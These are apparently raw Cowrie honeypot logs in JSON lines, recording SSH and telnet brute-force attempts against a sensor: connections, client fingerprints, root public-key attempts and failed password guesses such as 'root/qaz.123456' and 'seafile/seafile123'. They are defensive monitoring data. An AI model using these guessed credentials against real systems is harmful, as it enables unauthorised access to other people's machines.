{"eventid":"cowrie.session.closed","duration":43.04557752609253,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:50.332855Z","src_ip":"192.119.13.58","session":"86f50cddef2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.573811531066895,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:51.600832Z","src_ip":"192.119.13.58","session":"385c498b0872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.236550092697144,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:10:52.568333Z","src_ip":"192.119.13.58","session":"e336cd9681d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58838,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8328907fbcf","protocol":"ssh","message":"New connection: 103.176.20.57:58838 (159.203.135.109:22) [session: f8328907fbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:05.233790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:05.241637Z","src_ip":"103.176.20.57","session":"f8328907fbcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:05.505430Z","src_ip":"103.176.20.57","session":"f8328907fbcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:06.256004Z","src_ip":"103.176.20.57","session":"f8328907fbcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:07.507334Z","src_ip":"103.176.20.57","session":"f8328907fbcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":46304,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cf5dfe0492d","protocol":"ssh","message":"New connection: 102.223.92.101:46304 (159.203.135.109:22) [session: 2cf5dfe0492d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:11.719321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:11.724388Z","src_ip":"102.223.92.101","session":"2cf5dfe0492d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:11.897340Z","src_ip":"102.223.92.101","session":"2cf5dfe0492d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44360,"dst_ip":"10.17.0.5","dst_port":23,"session":"de981d0634d7","protocol":"telnet","message":"New connection: 192.119.13.58:44360 (10.17.0.5:23) [session: de981d0634d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:12.564100Z"}
{"eventid":"cowrie.login.failed","username":"seafile","password":"seafile123","message":"login attempt [seafile/seafile123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:12.617270Z","src_ip":"102.223.92.101","session":"2cf5dfe0492d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52480,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b4c85456df","protocol":"telnet","message":"New connection: 192.119.13.58:52480 (10.17.0.5:23) [session: 28b4c85456df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:13.723570Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52596,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34d0a90f5ca","protocol":"telnet","message":"New connection: 192.119.13.58:52596 (10.17.0.5:23) [session: d34d0a90f5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:13.759175Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:13.793154Z","src_ip":"102.223.92.101","session":"2cf5dfe0492d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.3.73","src_port":22804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f27022a8d437","protocol":"ssh","message":"New connection: 45.142.3.73:22804 (10.17.0.5:22) [session: f27022a8d437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:15.955898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:15.962728Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.064788Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:85:ca:3c:b4:a6:6f:1d:1e:23:c2:2a:c4:9e:ce:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd6DGcu5TJn/cSAr0HAIXoGmxETfHEOFG2cR+rvX/4THIagNvtBq6gGoGKglviWkX1JX0apINnENO6LFJJiiRHOTJPtcC3tPqUIgLzkzNORGhGeedjIhJLJFCmCUmTyePbPrMXQN0usImzL2EcSfpK6nnbPbBs1VM/R5gSp7eiO3ZdylpZBGwlWH4bfV9i5GG6GyPQ8kwuf3NXoondlJ+lZWfFQQS/7lQsFPr4dcvbDTtXZzGNzGN6zV9memgBqM0esZXnuzAjpGs/pVUvFnFgQ9zyW0ymWVw+8Q1E2/octKQhRygbGgub8uPL9eeTHq43jhqjloPnmF1CUZ+us/rz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:85:ca:3c:b4:a6:6f:1d:1e:23:c2:2a:c4:9e:ce:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.492684Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:85:ca:3c:b4:a6:6f:1d:1e:23:c2:2a:c4:9e:ce:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd6DGcu5TJn/cSAr0HAIXoGmxETfHEOFG2cR+rvX/4THIagNvtBq6gGoGKglviWkX1JX0apINnENO6LFJJiiRHOTJPtcC3tPqUIgLzkzNORGhGeedjIhJLJFCmCUmTyePbPrMXQN0usImzL2EcSfpK6nnbPbBs1VM/R5gSp7eiO3ZdylpZBGwlWH4bfV9i5GG6GyPQ8kwuf3NXoondlJ+lZWfFQQS/7lQsFPr4dcvbDTtXZzGNzGN6zV9memgBqM0esZXnuzAjpGs/pVUvFnFgQ9zyW0ymWVw+8Q1E2/octKQhRygbGgub8uPL9eeTHq43jhqjloPnmF1CUZ+us/rz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.496706Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:ee:de:82:e4:6d:a1:25:e5:b3:13:bf:18:5d:25:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLBHG2Hhh+RZREnLbBdVsilOFaVNCyA3Dc4WjGAx8AkqeJmSl0LXgWrOglRKNYTTX6BkdRLfZoRn6C/gduGQBNqSXrQZH4W79kedJ/Z1h4vb2JhH8NqdTlUYELJ18miqfHU687mHizonFzA+gOKUdNYGAS6WYjIy+LRNdP8pGeL7x6UIoDBp8fbBX6Z8QmhVDbaGIFAPKW/JVyCaaDOb7Osmtk7lGRXY9ANtgIE3g2yM+QuHdVxEDTuKCIduJgCEqKNcEnJwK5wfauMnKljiBATLl9KGBI2yF+sCn6d8NJL9uuH4+RK+pDJum68rHm8Whd6spQ1QI4aBATar6ftDHp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:ee:de:82:e4:6d:a1:25:e5:b3:13:bf:18:5d:25:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.588247Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:ee:de:82:e4:6d:a1:25:e5:b3:13:bf:18:5d:25:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLBHG2Hhh+RZREnLbBdVsilOFaVNCyA3Dc4WjGAx8AkqeJmSl0LXgWrOglRKNYTTX6BkdRLfZoRn6C/gduGQBNqSXrQZH4W79kedJ/Z1h4vb2JhH8NqdTlUYELJ18miqfHU687mHizonFzA+gOKUdNYGAS6WYjIy+LRNdP8pGeL7x6UIoDBp8fbBX6Z8QmhVDbaGIFAPKW/JVyCaaDOb7Osmtk7lGRXY9ANtgIE3g2yM+QuHdVxEDTuKCIduJgCEqKNcEnJwK5wfauMnKljiBATLl9KGBI2yF+sCn6d8NJL9uuH4+RK+pDJum68rHm8Whd6spQ1QI4aBATar6ftDHp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.592581Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:a9:8a:ed:31:b2:2a:2a:9d:fe:de:54:b2:03:28:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp4bGS4C9tAuvXayUrm5be9iCWLfbocApkQAe4s/rB4JvyU/5GkKymhSnzKnb8YrG0d5HScZvxK/F2hxCyuzr12KaM/QnnEdu6Kj+iH4Oh3gWYoIuQhlqLgsMdp2PHXLOnC3t2mlBURyJR1h4CX3Pe94oxzDKttcfsySyb9oCORXcKW0S5ObKlyjwXviBHa5M7UeOp3JsvtoJ2qkYIBS4q+em+LNPcxdbKwdGsQb9Hs87kMiOb0XRHsCLYBPaXDQbOT4kUxtd/YI8ryKddzgz7nEMBY+Ql5I0p+gpM4MK7JdlUgfuAmDgy6K/elopGjWsxE01GuaTweSbx1DVsWcvB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:a9:8a:ed:31:b2:2a:2a:9d:fe:de:54:b2:03:28:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.683436Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:a9:8a:ed:31:b2:2a:2a:9d:fe:de:54:b2:03:28:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp4bGS4C9tAuvXayUrm5be9iCWLfbocApkQAe4s/rB4JvyU/5GkKymhSnzKnb8YrG0d5HScZvxK/F2hxCyuzr12KaM/QnnEdu6Kj+iH4Oh3gWYoIuQhlqLgsMdp2PHXLOnC3t2mlBURyJR1h4CX3Pe94oxzDKttcfsySyb9oCORXcKW0S5ObKlyjwXviBHa5M7UeOp3JsvtoJ2qkYIBS4q+em+LNPcxdbKwdGsQb9Hs87kMiOb0XRHsCLYBPaXDQbOT4kUxtd/YI8ryKddzgz7nEMBY+Ql5I0p+gpM4MK7JdlUgfuAmDgy6K/elopGjWsxE01GuaTweSbx1DVsWcvB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.687687Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:61:3f:b2:0e:b2:ae:2c:00:1d:4e:0b:ed:10:85:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCylFjJnd4YsoONFsfHsCejvVAj5p1Tpmsc6ALn08FTaEzT0FtKU8Lt2bmNBtax6NLEAOjcoZwZrWKgH4iTacez7ZhL+rj9tf6azGGoF6ADYPuGMtNtAKbvz8Wels4lMU7tcfRCz2ZVw+KzHALEp6cF6zZfZhGpmGA2t1m6XFRLLgZYjxKYDga7XskpLCeNDYHUh7PCrIf72D4IICmx5wLEzUauZxic4Nbhn+7PaJph9mqtt/rHs9gS2SMzDqi8lkMIOIqEsKjtH9gz1BU4aen3Oh1AhGWxc9q6YQ6LHuz94CMjA173tsflce2cvcxvrA0XncXZkwl9BxejFi5SkFlN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:61:3f:b2:0e:b2:ae:2c:00:1d:4e:0b:ed:10:85:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.778582Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:61:3f:b2:0e:b2:ae:2c:00:1d:4e:0b:ed:10:85:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCylFjJnd4YsoONFsfHsCejvVAj5p1Tpmsc6ALn08FTaEzT0FtKU8Lt2bmNBtax6NLEAOjcoZwZrWKgH4iTacez7ZhL+rj9tf6azGGoF6ADYPuGMtNtAKbvz8Wels4lMU7tcfRCz2ZVw+KzHALEp6cF6zZfZhGpmGA2t1m6XFRLLgZYjxKYDga7XskpLCeNDYHUh7PCrIf72D4IICmx5wLEzUauZxic4Nbhn+7PaJph9mqtt/rHs9gS2SMzDqi8lkMIOIqEsKjtH9gz1BU4aen3Oh1AhGWxc9q6YQ6LHuz94CMjA173tsflce2cvcxvrA0XncXZkwl9BxejFi5SkFlN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.782371Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:48:f6:c1:c3:0a:76:f9:12:23:be:59:7d:0d:ac:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/9ZBIyMStnpK/4PysL9qHvuS+TvDid/NPh3Hbm4+WAikRlqnWFRBgaWl9A9RsgBVUCRtbC4vW8MqINxv5edfJpSgOIZU5vQJE8Cn28yhRw9QNT5eutQgdzR0xWb72ciUtvi4W/OWeqVwRv5OXZg9qQAopt9PnqHZxG809LwwStfFc0K9k5xsWb9Qr/yhVGI3BKCmyTMBux27THgWjwKrxViGL0ZhrQRnph0P8WqdfCVaK3vw3Wau63Uhx3nJqkNEnm3zPbQvKi3s4H6AnPGsWl61dQABMxD/OyRpuvztKHNNRaMkQ+hZRG+c+EQTPhimJbFEdgnaIh7aIhPsnbdLz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:48:f6:c1:c3:0a:76:f9:12:23:be:59:7d:0d:ac:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.874678Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:48:f6:c1:c3:0a:76:f9:12:23:be:59:7d:0d:ac:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/9ZBIyMStnpK/4PysL9qHvuS+TvDid/NPh3Hbm4+WAikRlqnWFRBgaWl9A9RsgBVUCRtbC4vW8MqINxv5edfJpSgOIZU5vQJE8Cn28yhRw9QNT5eutQgdzR0xWb72ciUtvi4W/OWeqVwRv5OXZg9qQAopt9PnqHZxG809LwwStfFc0K9k5xsWb9Qr/yhVGI3BKCmyTMBux27THgWjwKrxViGL0ZhrQRnph0P8WqdfCVaK3vw3Wau63Uhx3nJqkNEnm3zPbQvKi3s4H6AnPGsWl61dQABMxD/OyRpuvztKHNNRaMkQ+hZRG+c+EQTPhimJbFEdgnaIh7aIhPsnbdLz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.878889Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:16.970615Z","src_ip":"45.142.3.73","session":"f27022a8d437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":53318,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d52621f0915","protocol":"ssh","message":"New connection: 49.51.202.114:53318 (159.203.135.109:22) [session: 4d52621f0915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:17.236294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:17.241216Z","src_ip":"49.51.202.114","session":"4d52621f0915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:17.309310Z","src_ip":"49.51.202.114","session":"4d52621f0915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz.123456","message":"login attempt [root/qaz.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:17.613629Z","src_ip":"49.51.202.114","session":"4d52621f0915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:18.685944Z","src_ip":"49.51.202.114","session":"4d52621f0915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.64634561538696,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:32.084387Z","src_ip":"192.119.13.58","session":"3a0efebdf8f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42894,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aaf01465e47","protocol":"telnet","message":"New connection: 192.119.13.58:42894 (10.17.0.5:23) [session: 2aaf01465e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:33.550627Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.29.100.133","src_port":45343,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e493916a16","protocol":"telnet","message":"New connection: 5.29.100.133:45343 (159.203.135.109:23) [session: e6e493916a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:36.425363Z"}
